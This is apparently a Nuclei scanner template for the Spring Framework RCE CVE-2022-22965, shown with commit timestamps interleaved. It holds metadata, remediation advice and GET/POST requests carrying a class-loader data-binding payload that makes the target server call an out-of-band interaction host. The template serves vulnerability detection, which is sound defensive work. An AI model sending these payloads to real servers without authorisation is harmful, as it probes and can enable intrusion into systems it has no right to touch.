2022-04-01 11:43:45 +00:00
id : CVE-2022-22965
info :
2022-05-20 21:38:52 +00:00
name : Spring Framework - Remote Code Execution
2022-04-01 11:43:45 +00:00
author : justmumu,arall,dhiyaneshDK,akincibor
severity : critical
2022-05-17 09:18:12 +00:00
description : A Spring MVC or Spring WebFlux application running on JDK 9+ may be vulnerable to remote code execution (RCE) via data binding. The specific exploit requires the application to run on Tomcat as a WAR deployment. If the application is deployed as a Spring Boot executable jar, i.e. the default, it is not vulnerable to the exploit. However, the nature of the vulnerability is more general, and there may be other ways to exploit it.
2022-04-01 11:43:45 +00:00
reference :
- https://tanzu.vmware.com/security/cve-2022-22965
- https://www.lunasec.io/docs/blog/spring-rce-vulnerabilities/
- https://twitter.com/RandoriAttack/status/1509298490106593283
2022-04-04 14:28:38 +00:00
- https://mp.weixin.qq.com/s/kgw-O4Hsd9r2vfme3Y2Ynw
- https://twitter.com/_0xf4n9x_/status/1509935429365100546
2022-05-20 21:38:52 +00:00
- https://nvd.nist.gov/vuln/detail/cve-2022-22965
2022-05-20 21:49:49 +00:00
remediation : 5.3 .x users should upgrade to 5.3.18+, 5.2.x users should upgrade to 5.2.20+.
2022-04-01 11:43:45 +00:00
classification :
2022-05-17 09:18:12 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
2022-04-01 11:43:45 +00:00
cvss-score : 9.8
cve-id : CVE-2022-22965
2022-05-17 09:18:12 +00:00
cwe-id : CWE-94
2022-06-01 21:31:44 +00:00
tags : cve,cve2022,rce,spring,injection,oast,intrusive,cisa
2022-04-01 11:43:45 +00:00
requests :
2022-04-04 14:28:38 +00:00
- method : GET
path :
- "{{BaseURL}}/?class.module.classLoader.resources.context.configFile=https://{{interactsh-url}}&class.module.classLoader.resources.context.configFile.content.aaa=xxx"
2022-04-01 11:43:45 +00:00
2022-04-05 17:08:34 +00:00
- method : POST
path :
- "{{BaseURL}}"
2022-04-04 14:28:38 +00:00
headers :
Content-Type : application/x-www-form-urlencoded
2022-04-01 11:43:45 +00:00
2022-04-05 17:08:34 +00:00
body : |
class.module.classLoader.resources.context.configFile=https://{{interactsh-url}}&class.module.classLoader.resources.context.configFile.content.aaa=xxx
2022-04-04 14:28:38 +00:00
matchers-condition : and
2022-04-01 11:43:45 +00:00
matchers :
2022-04-04 14:28:38 +00:00
- type : word
part : interactsh_protocol # Confirms the HTTP Interaction
words :
- "http"
- type : word
part : interactsh_request
words :
- "User-Agent: Java"
2022-05-20 21:38:52 +00:00
case-insensitive : true
# Enhanced by mp on 2022/05/19